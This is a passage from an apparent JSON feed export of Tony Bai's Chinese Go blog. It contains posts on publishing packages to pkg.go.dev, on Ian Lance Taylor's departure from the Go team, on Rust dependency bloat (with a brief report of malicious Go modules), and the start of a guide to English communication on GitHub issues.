语言的精妙与强大！\n最后，一个小小的请求：\n如果你身边有正在 Go 语言进阶道路上摸索，或者渴望提升 Go 工程实践与设计能力的 Gopher 朋友、同事，请将这篇文章或课程信息分享给他们。 每一份善意的传递，都可能为他人的技术成长点亮一盏灯。\n也欢迎大家在评论区踊跃交流，分享你对 Go 进阶的困惑、经验或对课程的期待。让我们一起，在 Go 的世界里，持续学习，共同进步！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/12/go-advanced-course/","summary":"\u003cp\u003e从线下到线上，我的“Go语言进阶课”终于在极客时间与大家见面了！ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"从线下到线上，我的“Go语言进阶课”终于在极客时间与大家见面了！"},{"content":"Go包维护者必读：如何让你的Go包更易被发现、文档更专业？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo包维护者必读：如何让你的Go包更易被发现、文档更专业？ 五月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/11/deep-into-pkg-go-dev\n大家好，我是Tony Bai。\n对于 Go 开发者而言，pkg.go.dev 不仅仅是一个查找包文档的网站，更是展示和推广自己辛勤成果的重要平台。理解其运作机制、掌握其使用技巧，并遵循其倡导的最佳实践，能显著提升你的 Go 包的专业度、可见性和社区友好度。本文将基于官方信息，和大家一起挖掘一下 pkg.go.dev 的宝藏知识，包括核心功能和关键建议。\n让你的包“入住”pkg.go.dev pkg.go.dev 的数据来源于官方的 Go Module Proxy (proxy.golang.org)，并通过 Go Module Index (index.golang.org) 定期监测新的包版本。如果你的包尚未被收录，可以通过以下任一方式主动添加：\n直接请求收录: 访问你的包在 pkg.go.dev 上对应的 URL (即使它显示“Not Found”)，例如 https://pkg.go.dev/example.com/my/module，然后点击页面上的 “Request” 按钮(如下图所示)。 触发 Proxy 请求: 向 proxy.golang.org 发送一个符合 Go Module Proxy 协议 的请求。例如，请求特定版本的 .info 文件： $curl https://proxy.golang.org/example.com/my/module/@v/v1.0.0.info 使用 go get 命令: 通过 go get 命令下载你的包（确保 GOPROXY 指向官方代理），这也会触发代理获取该模块： $GOPROXY=https://proxy.golang.org GO111MODULE=on go get example.com/my/module@v1.0.0 一旦 proxy.golang.org 索引了你的模块版本，pkg.go.dev 通常会在几分钟内获取并展示其文档。\n管理你的包版本：撤回不推荐的版本 如果你希望从 pkg.go.dev 以及 go 命令的解析结果中隐藏某个模块的特定版本（例如，修复了严重 Bug 或安全漏洞后），应当使用 retract 指令。这需要在你的 go.mod 文件中添加 retract 指令，并发布一个新的模块版本。\n// go.mod module example.com/my/module go 1.18 retract ( v1.0.0 // 解释为何撤回此版本 [v1.0.1, v1.0.5] // 也可以撤回一个版本范围 ) 详细信息请参考 Go 官方博客文章 New module changes in Go 1.16 和 modules reference。\n关键点：\n即使是最新版本也可以被撤回。 已发布的版本（包括被撤回的版本）无法被修改或重用。 如果源码仓库或域名已无法访问，导致无法通过发布新版本来撤回，可以向 pkgsite 团队提交请求来隐藏所有版本文档。但请注意，这仅隐藏 pkg.go.dev 上的文档，模块本身仍可通过 go get 获取，除非它被正确撤回。 文档是如何生成的？ pkg.go.dev 从 Go Module Mirror (proxy.golang.org//@v/.zip) 下载 Go 源码，并基于源码中的注释生成文档。\n遵循 godoc 指南: 编写文档时，应遵循为 godoc 工具制定的文档编写指南。 首句摘要至关重要: 包注释的第一句话应提供对包功能的良好总结。pkg.go.dev 会索引这句话并在搜索结果中显示它，直接影响用户对你包的第一印象。 理解 Build Context (构建上下文) Go 语言允许包在不同的操作系统 (GOOS) 和 CPU 架构 (GOARCH) 组合（称为“Build Context”，如 linux/amd64）下表现不同，甚至拥有不同的导出符号。\n单一上下文: 如果包仅存在于一个 Build Context（如 syscall/js 仅用于 js/wasm），pkg.go.dev 会在文档右上角显示该上下文(如下图)。 多上下文差异: 如果包在不同上下文中存在差异，pkg.go.dev 会默认显示一个，并提供下拉菜单供用户切换查看其他支持的上下文(如下图)。 通用包: 对于在所有上下文中表现一致的包，则不显示上下文信息。\n支持范围: pkg.go.dev 仅考虑有限的一部分 Build Context。如果你的包仅存在于不受支持的上下文中，其文档可能不会显示。\n源码链接：连接文档与定义 pkg.go.dev 通常能自动检测包的源码位置，并在文档中提供从符号到其源码定义的链接。如果你的包源码链接未能正确显示，可以尝试：\ngo-source meta 标签: 在你的网站上添加符合特定格式的 go-source meta 标签，这有助于 pkg.go.dev 解析源码位置（尽管该格式未考虑版本控制）。 贡献模式: 如果上述方法无效，你需要将你的仓库或代码托管站点模式添加到 pkgsite 的配置中。参考如何贡献 pkg.go.dev 并提交一个 CL，向 internal/source 包添加模式。 遵循最佳实践：提升你的包质量 pkg.go.dev 会展示关于 Go 包和模块的一些关键细节，旨在推广社区的最佳实践。关注这些细节，能让你的包更受信任，更易于被其他开发者采用：\n拥有 go.mod 文件: Go 模块系统是官方推荐的标准依赖管理方案。一个模块版本由其根目录下的 go.mod 文件定义。 使用可再分发许可证 (Redistributable license): 这类许可证（如 MIT, Apache 2.0, BSD 等）对软件的使用、修改和再分发限制最小。pkg.go.dev 有其许可证策略来判断许可证是否可再分发。 打上版本标签 (Tagged version): go get 命令默认优先解析打了标签的版本 (遵循 Semantic Versioning)。没有标签时，会查找最新的 commit。使用版本标签能为导入者提供更可预测的构建。参考 Keeping Your Modules Compatible。 达到稳定版本 (Stable version): v0.x.y 版本的项目被认为是实验性的。当项目达到 v1.0.0 或更高版本时，即为稳定版本。这意味着后续的破坏性变更必须在新的主版本中进行（如 v2.0.0）。稳定版本给予开发者信心，在升级到最新的次要版本或修订版本时不会遇到破坏性变更。参考 Go Modules: v2 and Beyond。 锦上添花：徽章、链接与快捷键 创建徽章 (Badge): 使用徽章生成工具为你的项目创建一个 pkg.go.dev 徽章，可以放置在 README 或项目网站上，方便用户快速访问你的包文档。 添加自定义链接: 你可以在 README 文件和包文档中添加自定义链接，这些链接会显示在 pkg.go.dev 页面上。下面是添加links的示例： # The Links Repo This repo demonstrates pkgsite links. ## Links - [pkg.go.dev](https://pkg.go.dev) - [this file](README.md) ## How it works Links are taken from a README heading named \u0026#34;Links\u0026#34;. 展示的页面上的链接如下：\n键盘快捷键: 在包文档页面输入 ? 可以查看可用的键盘快捷键，方便导航。 小结 pkg.go.dev 是 Go 生态中连接包作者与使用者的重要桥梁。通过理解其运作方式，精心准备你的包（包括清晰的文档、规范的版本管理、合适的许可证以及遵循最佳实践），你的 Go 包将更容易被发现、理解和信赖。\n提升Go包影响力，你有什么独门秘诀？\npkg.go.dev 为我们提供了展示和推广Go包的官方平台。除了文中提到的这些技巧和最佳实践，你在维护和推广自己的Go包时，还有哪些特别的心得体会或踩过的“坑”？ 比如，你是如何编写更吸引人的包描述？如何处理社区的Issue和PR？或者有什么让你的包在众多选择中脱颖而出的好方法？\n热烈欢迎在评论区分享你的宝贵经验，让我们共同打造更繁荣、更高质量的Go包生态！\n如果你不仅希望自己的Go包拥有专业的文档和良好的可见性，更渴望深入理解Go语言的设计哲学、掌握高级特性、提升项目工程化水平。\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 将是你的理想伙伴！在这里，我们不仅探讨语言细节，更有【Go进阶课】、【Go原理课】等内容助你提升项目构建与维护能力。我会亲自为你解答Go开发中的各种疑难，你还能与众多优秀的Gopher交流思想、碰撞火花，共同探索Go在各个领域的最佳实践，包括如何更好地参与和贡献开源社区。\n现在就扫码加入，与我们一起精进Go技能，让你的开源项目闪耀社区！ ✨\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/11/deep-into-pkg-go-dev/","summary":"\u003cp\u003eGo包维护者必读：如何让你的Go包更易被发现、文档更专业？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go包维护者必读：如何让你的Go包更易被发现、文档更专业？"},{"content":"Go语言进入“后元老时代”？Ian Lance Taylor离职引发的思考：传承、创新与社区 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo语言进入“后元老时代”？Ian Lance Taylor离职引发的思考：传承、创新与社区 五月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/11/ian-lance-taylor-leave-go\n大家好，我是Tony Bai。\n今天，Go 语言社区传来一个令人瞩目又略感“悲伤”的消息：Go核心团队的元老级人物 Ian Lance Taylor在为 Google 效力 19 年后，宣布离开。对于许多 Gopher 来说，Ian Taylor 的名字与 Go 语言的早期发展、GCC Go 前端 gccgo 的诞生，以及历时多年最终在 Go 1.18 实现的泛型设计紧密相连。\n他的离开，不仅仅是一位资深工程师的职业变动，更像是一个时代的注脚，引发我们对 Go 语言发展阶段、团队演进以及开源项目生命力的深层思考。我们是否可以说，Go 语言正在步入一个“后元老时代”？这又意味着什么？在这篇文章中，我们就来简单聊聊。\n一位“老兵”的自白与 Go 的变迁 在 Ian Taylor 的告别博文《Leaving Google》中，他回顾了自己从 2008 年加入 Go 团队（几乎与 Russ Cox 同期）至今的历程。他对自己角色的定位是：“追踪我所能追踪的关于项目的一切，并寻找需要帮助的领域。” 从为 GCC 添加 Go 前端以确保语言规范的清晰，到为 Google 内部构建系统和 SWIG 添加 Go 支持，再到推动泛型的落地，Ian Taylor 的贡献无疑是奠基性的。\n然而，最引人深思的是他对自己离开的解释：“Google has changed, and Go has changed, and the overall computer programming environment has changed. It’s become clear over the last year or so that I am no longer a good fit for the Go project at Google.” （谷歌变了，Go 也变了，整个计算机编程环境都变了。在过去一年左右的时间里，我已经越来越不适合谷歌的 Go 项目了。）\n他还坦诚地剖析了自己的工作方式：“我能很快看到人们今天遇到的问题，以及他们明天会遇到的问题，并且我常常能够解决这些问题。但我迟迟未能看到那些能帮助人们做他们没有尝试去做、因此也没有错过的那些新事物的想法，比如 Go 模块代理和 Go 漏洞数据库。”\n这段话意味深长。它似乎在暗示这么几点：\nGo 项目的成熟：Go 已从最初“希望成为其他语言有用想法的范例”的探索期，成长为一个被广泛接受和使用的成熟语言。其面临的挑战和发展重心可能已从核心语言特性的打磨，转向生态系统的完善、开发者体验的优化以及应对更大规模应用的新需求。 能力与阶段的匹配：Ian Taylor 所擅长的“解决已知和可预见问题”的能力，在项目早期至关重要。但随着项目的成熟，或许更需要能够预见和开创“用户尚未意识到其需求”的创新型人才。他提到的 Go module proxy 和 Go vulnerability database 正是这类创新的代表。 “新陈代谢”的必然：成功的开源项目如同生命体，核心团队成员的更迭是其发展过程中的自然现象。这并非衰落的信号，反而可能是项目适应新环境、焕发新活力的契机。 Go 语言的“后元老时代”：挑战与机遇并存 如果我们将 Go 的早期核心开发者（如 Rob Pike, Ken Thompson, Robert Griesemer, Russ Cox, Ian Lance Taylor 等）视为“元老”，那么随着时间的推移和人员的变动，Go 语言是否正在进入一个由新一代核心开发者主导，更加依赖成熟流程和广大社区贡献的“后元老时代”？\n注：随着2024年Russ Cox将Go团队旗手的角色“让位”给Austin Clements，随着今天Ian Lance Taylor的离职，目前曾经的元老团队仅剩下Robert Griesemer一人还在Go核心团队一线为Go做着贡献。\n我认为，这并非悲观的论调，而是对现实的客观描述，其中蕴含着独特的挑战与机遇：\n传承\n元老们奠定的设计哲学、简洁高效的文化基因、以及对工程实践的极致追求，是 Go 语言最宝贵的财富。如何在团队演进中确保这些核心价值不被稀释，并得到良好传承，是至关重要的。这需要完善的文档、清晰的设计原则、以及新核心成员对 Go 精神的深刻理解。\n创新\nIan Taylor 的自省提醒我们，成熟项目也需要持续创新以避免僵化。他明确指出：“任何编程语言都不会‘完成’——编程环境总是在变化，语言必须进化，否则就会消亡。” 对于 Go 而言，未来的创新可能更多体现在：\n标准库的与时俱进：以适应新的编程范式和技术趋势（例如 AI/ML 对数据处理和并行计算的需求、云原生领域的新标准等）。 工具链的智能化与易用性：如更好的调试工具、性能分析工具、更智能的 IDE 支持等。 生态系统的拓展与治理：如何更好地支持和管理庞大的第三方库生态，确保质量和安全。 拥抱新兴领域：在 AI 赋能开发、WebAssembly、IoT 等领域，Go 能否抓住新的增长点？ 这些创新，可能需要不同于早期核心特性设计的思维模式和技能组合。\n社区\n随着 Go 的普及，其社区已经成为一支不可忽视的力量。在“后元老时代”，社区的角色可能愈发重要：\n贡献的多元化：从代码贡献到文档撰写、Bug 反馈、布道推广，社区成员可以在各个层面参与。\n人才的培养皿：许多未来的核心贡献者可能就来自于活跃的社区成员。\n需求的反馈源：广泛的社区用户是检验语言特性和工具实用性的最佳试金石。\n生态的共建者：第三方库的繁荣离不开社区的共同努力。\nIan Taylor 也表示“希望将来能再次为 Go 做出贡献”，这正体现了开源精神的魅力——即使离开官方团队，热爱和能力依然可以通过社区持续发光发热。\n对我们 Gopher 的启示 Ian Lance Taylor 的离开，以及他对 Go 变迁的洞察，对我们每一位 Gopher 来说，都是一次宝贵的反思机会：\n拥抱变化，持续学习：编程语言和技术环境在不断进化。作为开发者，我们需要保持好奇心和学习能力，跟上时代的步伐。 理解语言背后的哲学：学习一门语言，不仅要掌握其语法，更要理解其设计哲学和核心价值观。这有助于我们写出更“Go-idiomatic”的代码，并更好地参与社区讨论。 贡献的力量：无论能力大小，我们都可以通过各种方式为 Go 社区做出贡献。每一次提问、每一个 Bug 报告、每一篇分享，都是在为这个生态添砖加瓦。 思考个人与项目的匹配：Ian Taylor 的经历也提醒我们，个人职业发展需要考虑自身能力特点与项目/公司发展阶段的匹配度。 小结 Ian Lance Taylor 的离开，无疑是 Go 社区的一个损失，但更是 Go 语言走向更成熟、更开放阶段的一个标志。这不是一个时代的结束，而更像是一个新篇章的序曲。\nGo 语言的未来，将由 Google 的持续投入、新一代核心开发者的智慧、以及全球数百万 Gopher 的共同努力来书写。\n让我们向 Ian Taylor 致以崇高的敬意，感谢他为 Go 所做的一切！\n传承不息，创新不止，社区共荣——这或许就是 Go 语言“后元老时代”最值得期待的图景。\nIan Taylor博文的地址：https://www.airs.com/blog/archives/670 Go的未来，你我共塑：聊聊你的看法\nIan Lance Taylor的离开标志着一个时代的节点，也开启了对Go语言“后元老时代”的无限遐想。你如何看待Go语言当前的演进阶段？在传承元老们奠定的基石之上，你认为Go在创新方面最需要突破的方向是什么？作为社区的一员，你又将如何参与到Go的未来建设中？\n欢迎在评论区留下你的思考、祝福或任何想对Go社区说的话！ 让我们一起见证并参与Go的下一个十年。\n想与Go一同进化，系统把握语言精髓与未来趋势？\n在Go语言迈入新发展阶段的今天，深刻理解其设计哲学、掌握核心原理、并洞察前沿创新（如AI与Go的结合）变得尤为重要。如果你渴望与Go一同成长，系统性地提升自己的技术认知，并与一群对Go充满热情的开发者深度交流…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 正是这样一个为你搭建的平台！这里不仅有【Go原理课】带你追本溯源，【Go进阶课】助你技艺精进，【Go避坑课】让你从容应对挑战，更有关于Go未来发展方向的探讨和AI赋能的实践分享。我会亲自为你答疑解惑，你还能与众多优秀的Gopher思想碰撞，共同探索Go在“后元老时代”的无限可能。\n立即扫码加入，与我们一起传承Go的优秀基因，拥抱创新，共建繁荣社区！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/11/ian-lance-taylor-leave-go/","summary":"\u003cp\u003eGo语言进入“后元老时代”？Ian Lance Taylor离职引发的思考：传承、创新与社区 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go语言进入“后元老时代”？Ian Lance Taylor离职引发的思考：传承、创新与社区"},{"content":"百万行依赖的“恐惧”：一位Rust开发者的深度反思与Go的启示 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n百万行依赖的“恐惧”：一位Rust开发者的深度反思与Go的启示 五月 10, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/10/rust-dependencies-scare-me\n大家好，我是Tony Bai。\n在现代软件开发中，高效的包管理系统和繁荣的开源生态极大地加速了我们的开发进程。Rust语言的Cargo及其crates.io生态便是其中的佼佼者，为开发者带来了前所未有的便捷。然而，这种便捷性是否也伴随着一些潜在的“代价”？\n近期，一位名叫Vincent的国外Rust开发者在其博客文章《Rust Dependencies scare Me》中，就真诚地抒发了他对Rust依赖管理的深切忧虑。这篇博文在Hacker News等社区引发了热烈讨论，其指出的问题——从依赖的维护性到惊人的代码体积——或许也值得我们每一位使用现代包管理系统的开发者深思。\n今天，我们就来一起解读Vincent的这篇文章，看看他遇到了哪些具体问题，并结合社区的智慧与我们的经验，探讨这些现象背后的启示。\nCargo的魅力：作者眼中的“美好一面” 在这位开发者看来，Cargo无疑是Rust生态的巨大优势。他强调，Cargo极大地提升了生产力，开发者无需像使用CMake(多用于C++项目)那样手动管理和链接文件。这使得在不同架构和操作系统（如他的M1 MacBook和Debian桌面）之间切换变得异常顺畅。\n他坦言，在大部分情况下，Cargo让他几乎可以不必过多思考包管理本身，从而能更专注于核心代码的编写。这种“无感”的便捷体验，与上世纪80年代开发者需要为节省软盘空间而精打细算地“手动挑选和集成库代码”形成了鲜明对比，无疑是现代包管理系统追求的目标，也是Rust吸引开发者的重要原因之一。\n当便捷遭遇“意外”：dotenv引发的警惕 然而，文章作者也指出，正是这种“不用思考”的便捷，可能让人变得“草率”。\n他在一个生产项目中使用了许多Rust开发者都用过的dotenv库（用于加载.env文件）。项目平稳运行数周后，他偶然发现一则Rust安全通告指出，他所使用的dotenv版本已无人维护，并推荐了替代方案dotenvy。\n这个小插曲让他开始反思：这个依赖真的必不可少吗？他尝试后发现，仅仅35行代码便实现了他所需的核心功能。他由此提出一个普遍性的问题：当依赖项（尤其是那些看似“微不足道”的）不再维护或出现安全漏洞时，我们该如何应对？那些我们真正“需要”的复杂依赖，又隐藏着哪些风险？这不仅仅是功能问题，更关乎依赖的信任链和维护者的责任。\n百万行代码的“冲击波”：一个“小项目”的真实体积 Vincent的忧虑不止于此。他以一个自认为“微不足道”的Web服务项目为例——该项目使用广受好评的异步运行时tokio和Web框架axum，主要功能是处理请求、解压文件和记录日志。\n当他尝试使用cargo vendor将所有依赖项本地化时，并用代码行数统计工具tokei进行分析，结果令他大吃一惊：总代码行数高达360万行！而他自己编写的业务代码仅有约1000行。\n他将此与Linux内核的2780万行代码进行对比，发现他这个“小项目”的依赖代码量已接近后者的七分之一。他不禁发问：如何审计如此庞大的代码量？我们引入的重量级依赖，其绝大部分功能是否是我们项目真正需要的？\nVincent的经历并非个案。Hacker News社区的讨论中，有开发者（如kion）指出，现代软件开发中‘库叠库’的现象十分普遍，每一层依赖可能只用到其功能的冰山一角，但最终却可能导致简单的应用膨胀到数百MB。更有甚者（如jiggawatts）通过计算发现，仅三层依赖的层层叠加，就可能导致最终应用中88%的代码是“死代码”或从未被真实业务逻辑触及的“幽灵代码”。\nRust依赖困境的“求解”：作者的困惑与社区的多元声音 面对如此庞大的依赖代码和潜在风险，该博主坦诚自己“没有答案”。他提及了社区中一些常见的讨论方向，例如扩展标准库的利弊、开发者自身的责任以及业界大厂的实践等。\nHacker News社区的讨论进一步丰富了这些思考：\n编译时优化是否足够？ 许多评论提到了链接时优化（LTO）、Tree Shaking等技术在剔除未使用代码方面的作用。Rust基于LLVM的优化确实能在这方面做出贡献。然而，正如一些评论者指出的，这些优化并非“银弹”，对于动态分发或包含大量可选编译特性的复杂依赖，完美剥离未使用部分仍充满挑战。 更细粒度的依赖控制： Rust的features机制为选择性编译提供了可能，但社区也在探索更根本的解决方案。有开发者甚至提出了“超细粒度符号和依赖”的设想，即每个语言构造都声明其精确依赖，按需构建最小代码集，尽管这在实现上极具颠覆性。 工具链的局限与期望： Vincent指出Cargo目前难以精确追踪最终编译产物包含的代码。社区也期待更强大的工具来分析依赖树、识别冗余、评估安全风险。 最终，文章作者将问题抛给了社区：我们应该怎么办？\n我们的启示：从Rust的“依赖之忧”看现代软件供应链 Vincent的博文真实地反映了现代软件开发中普遍存在的“依赖困境”——我们享受着开源生态带来的便利，但也面临着供应链安全、代码膨胀、维护性等一系列挑战。\n从他的分享和社区的热烈讨论中，我们可以得到以下几点启示：\n审慎评估依赖，警惕“依赖膨胀”的陷阱，拥抱适度“复制”： “不要为了碟醋包饺子”。在引入任何依赖前，都应评估其必要性、维护状态、社区活跃度以及潜在的安全风险。正如Go社区所倡导的“A little copying is better than a little dependency. (一点复制代码胜过一点点依赖)”，有时为了避免引入一个庞大或不稳定的依赖，适度复制代码，或者自己实现一个轻量级的核心功能，可能是更明智的选择。Go语言设计者之一的 Rob Pike 在其著名的演讲《On Bloat》中也曾深刻地警示过软件膨胀的危害，其中就包括了因过度或不必要依赖导致的复杂性增加和性能下降。Pike强调，真正的简洁和高效往往来自于对问题本质的深刻理解和对引入外部因素的克制。\n理解依赖的“冰山效应”与供应链安全——真实的威胁就在身边： 一个看似简单的库，背后可能隐藏着庞大的间接依赖。我们需要关注整个依赖树的健康状况。更重要的是，正如Hacker News上一些开发者强调的，依赖的真正“恐惧”更多在于供应链安全和代码的可审查性。当我们的项目依赖数百万行来自互联网的未知代码时，如何确保没有恶意代码或严重漏洞被悄然引入？这绝非危言耸听！就在最近，Socket威胁研究团队便披露了三个恶意的Go模块 (github.com/truthfulpharm/prototransform, github.com/blankloggia/go-mcp, github.com/steelpoor/tlsproxy)。这些模块通过命名空间混淆或伪装诱导开发者引入，其内部包含高度混淆的恶意代码，在特定条件（目前主要针对Linux系统）下会下载并执行毁灭性的“磁盘擦除”脚本 (done.sh)，直接向主磁盘写入零，导致数据被完全清零且无法恢复！这个案例血淋淋地提醒我们，供应链安全是每一个开发者都必须严肃对待的现实威胁。 这需要我们对信任链和维护者责任有更清醒的认识。\n寻求更精细的控制与工具支持： 无论是语言特性（如Go的build tags、Rust的features）、包管理工具（如更智能的tree shaking），还是库本身的模块化设计，都应朝着让开发者能更精细控制最终产物的方向努力。同时，自动化工具在依赖分析、漏洞扫描、许可证合规等方面扮演着越来越重要的角色。\n标准库与生态的平衡： Go语言的“大标准库”策略在一定程度上缓解了对外部依赖的过度渴求，但也带来了标准库自身迭代和灵活性的挑战。Rust选择了更小的标准库和更繁荣的社区生态。Hacker News上的讨论也反映了这种分歧：一部分开发者期望Rust能拥有更丰富的标准库，以减少对外部“寻寻觅觅”的困扰；而另一部分则担心这会扼杀生态活力，导致标准库“僵化”。这两种模式各有其历史成因和现实取舍，值得我们持续观察和学习，或许未来会出现一种更优的“官方认证扩展库”或“元库”的形态。\n讨论：你如何看待现代软件的“依赖管理”？ 这篇文章所转述的思考与社区的热议无疑为我们敲响了警钟。你在日常开发中（无论是Rust、Go还是其他语言），是否也曾遇到过类似的依赖管理难题？你认为当前包管理生态面临的最大挑战是什么？又有哪些值得推广的最佳实践或工具？\n非常欢迎在评论区留下你的宝贵见解和经验分享！\n原文链接：https://vincents.dev/blog/rust-dependencies-scare-me Socket.dev发现恶意Go模块：https://socket.dev/blog/wget-to-wipeout-malicious-go-modules-fetch-destructive-payload 面对复杂的依赖与潜藏的风险，如何系统性提升你的Go安全意识与底层掌控力？\n近期Go恶意模块的“磁盘擦除”事件，再次凸显了深入理解依赖、掌握底层机制、构建安全软件的重要性。如果你渴望系统性地学习Go语言的深层原理（包括编译、链接、运行时），提升对第三方库的辨别与审计能力，并在实践中规避类似的安全“大坑”…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 将是你不可或缺的伙伴！这里不仅有【Go原理课】、【Go进阶课】、【Go避坑课】助你洞悉语言本质，更有针对性的安全实践讨论和案例分析。我会亲自为你解答各种疑难问题，你还可以与众多对技术安全与底层有追求的Gopher们一同交流，共同构建更安全的Go生态。\n立即扫码加入，为你的技术栈装上“安全防火墙”，在复杂的软件世界中行稳致远！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/10/rust-dependencies-scare-me/","summary":"\u003cp\u003e百万行依赖的“恐惧”：一位Rust开发者的深度反思与Go的启示 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"百万行依赖的“恐惧”：一位Rust开发者的深度反思与Go的启示"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice\n大家好，我是 Tony Bai。\n身处全球化的软件开发浪潮中，GitHub早已成为我们协作、学习、贡献的“宇宙中心”。但对于我们许多非英语母语的开发者来说，它既是机遇之地，有时也是“望而却步”的挑战场。\n你是否也曾有过这样的经历？\n面对一个棘手的 Bug，想在golang/go项目的 Issue 下寻求帮助，却因为担心自己的“蹩脚”英文描述不清，反复修改，最终默默关掉了页面？ 看到一个热门讨论，你明明有绝佳的改进建议或独到的反驳观点，却因为组织不好地道的英文表达，只能眼睁睁看着讨论走向自己不希望的方向，最后无奈地打出“+1”？ 或者，因为语言的障碍，你觉得自己与那些国际顶尖的Go开发者之间隔了一层无形的墙，错失了许多宝贵的交流与学习机会？ 如果这些场景让你感同身受，那么今天的文章，就是为你量身打造的。如今，在ChatGPT、DeepSeek、Google Gemini等AI工具的辅助下，我们可以更自信地表达，但理解Github上的沟通的“套路”和文化依然重要。\n通过对大量顶级 Go 开源项目（如Go官方仓库、Kubernetes、Docker/Moby、Prometheus等）的 Issues 和 Pull Requests 中社区互动的观察分析，以及AI的辅助整理，并结合这些项目通常倡导的沟通准则，我粗略整理出了一套在 GitHub Issues 中进行高效英语沟通的实用“模式”与“心法”。\n本文旨在为你提供这套方法，希望能帮你打破沟通壁垒，自信地参与到全球 Go 开源社区中，让语言不再是你贡献智慧的拦路虎！\nGitHub Issue沟通的“潜规则”与礼仪 在我们深入学习具体的沟通“招式”之前，了解战场规则是制胜的前提。GitHub Issues 作为一个全球开发者协作的广场，自然也有一套约定俗成的“潜规则”和基本礼仪。Github上的有效沟通是建立在这些规则和礼仪之上的。掌握了这些，你的每一次发言才能更得体、更高效，也更容易获得他人的尊重和积极回应。记住，高效的沟通才是开源协作的基石。\n协作至上 (Collaborative) 开源的本质是团队协作。你的每一个评论、每一个 Issue，都应服务于项目的整体目标，而非仅仅表达个人。\n简洁明了 (Concise \u0026amp; Clear) 维护者和贡献者的时间都非常宝贵。用最少的文字清晰地表达你的观点至关重要。避免冗长和含糊不清。\n建设为本 (Constructive) 即使你持有不同意见，甚至需要反驳他人，也务必保持建设性的态度和尊重的语气。对事不对人。\n技术导向 (Technically Focused) 交流应始终围绕技术问题展开，避免无关的个人情绪或评论。\n心中有了这些“潜规则”作为行事准则，我们就可以更有底气地进入实战演练了。面对 GitHub Issues 中形形色色的沟通场景——从报告一个恼人的 Bug，到提出一个颠覆性的改进方案，再到与全球开发者唇枪舌战——掌握一些行之有效的沟通“套路”或“模式”，能让你事半功倍。接下来，我们就来拆解七种最常见的沟通场景及其应对的“招式”。\n实战演练：GitHub Issues 英语沟通“七招十二式” 第1招：精准“报案”——如何清晰报告Bug？ 当你满心欢喜地使用某个库或工具，却冷不丁踩到一个“坑”，程序崩溃了，或者行为完全不符合预期——恭喜你，你可能发现了一个 Bug！向社区报告 Bug 是每一位负责任的开发者的基本素养。但如何“报案”才能让维护者快速理解并定位问题呢？一个结构清晰、信息完备的 Bug报告是成功的一半。如果开源项目有自己的issue模板，那请按照issue模板的要求填写。如果没有issue模板，可以参考下面的提bug的issue模式结构。\n模式结构 简述问题 (Title \u0026amp; Brief Description): 一句话点明问题核心。 重现步骤 (Steps to Reproduce): 清晰、可操作的步骤。 预期行为 (Expected Behavior) vs 实际行为 (Actual Behavior): 